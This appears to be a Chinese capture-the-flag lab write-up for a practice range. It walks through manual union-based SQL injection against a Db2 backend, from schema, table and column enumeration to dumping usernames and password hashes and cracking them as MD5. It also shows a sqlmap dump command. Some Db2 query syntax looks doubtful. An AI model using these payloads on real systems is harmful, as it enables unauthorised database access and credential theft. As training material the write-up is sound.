声明:该文章中的步骤及思路都是作者八方的阶解题思路,并非最优解,仅供参考
墨者学院
简介:
安全工程师"墨者"最近在练习SQL手工注入漏洞,自己刚搭建好一个靶场环境Nginx+PHP+Db2,PHP代码对客户端提交的参数未做任何过滤。尽情的练习SQL手工注入吧。
实训目标:
1.掌握SQL注入原理;
2.了解手工注入的方法;
3.了解Db2的数据结构;
4.了解字符串的MD5加解密;
解题方向:
思路一:手工注入方式
思路二:使用sqlmap脚本注入
思路一 手工注入步骤:
1 进入公告页面发现参数回传?id=1
试着加入单引号引起报错
2 order by 测试回显点
回显点是2.3 (因为是DB2数据库 注意区分语法格式)
?id=-1 union select 1,2,3,4 from sysibm.systables
3 爆库名
?id=-1 union select 1,2,current schema,4 from sysibm.sysdummy1
4 爆表名
?id=-1 union select 1,2,tabname,4 from syscat.tables where tabschema=current schema limit 0,1
?id=-1 union select 1,2,tabname,4 from syscat.tables where tabschema=current schema limit 1,1
5 爆列
?id=-1 union select 1,2,column_name,4 from sysibm.columns where table_schema=current schema and table_name='GAME_CHARACTER' limit 0,1
![](https://i-blog.csdnimg.cn/direct/7a464df7c00741c1b939c8fbc3a39125.png)
6 爆数据
?id=-1 union select 1,name,password,4 from GAME_CHARACTER limit 0,1
7 BD5解码
解码网站:MD5免费在线解密破解_MD5在线加密-SOMD5
-----------------------------------------------------------分割线--------------------------------------------------------
思路二 sqlmap步骤:
因为sqlmap支持BD2数据库 所以直接跑就完事了
1 直接-u 参数
发现存在sql注入
3 爆库名
4 查询表内容
结果发现只有一列数据id 推断可能存在隐藏列名
5 指定列名查询隐藏列
指定列名 用参数-C 用法如下
python sqlmap.py -u "http://192.168.1.1/Less-1/?id=1" -D security -T users -C username --dump # 爆出数据库security中的users表中的username列中的所有数据
查到两条数据
6 BD5解码
两条数据都得解码试一下 发现是第二条是对的
解码网站:MD5免费在线解密破解_MD5在线加密-SOMD5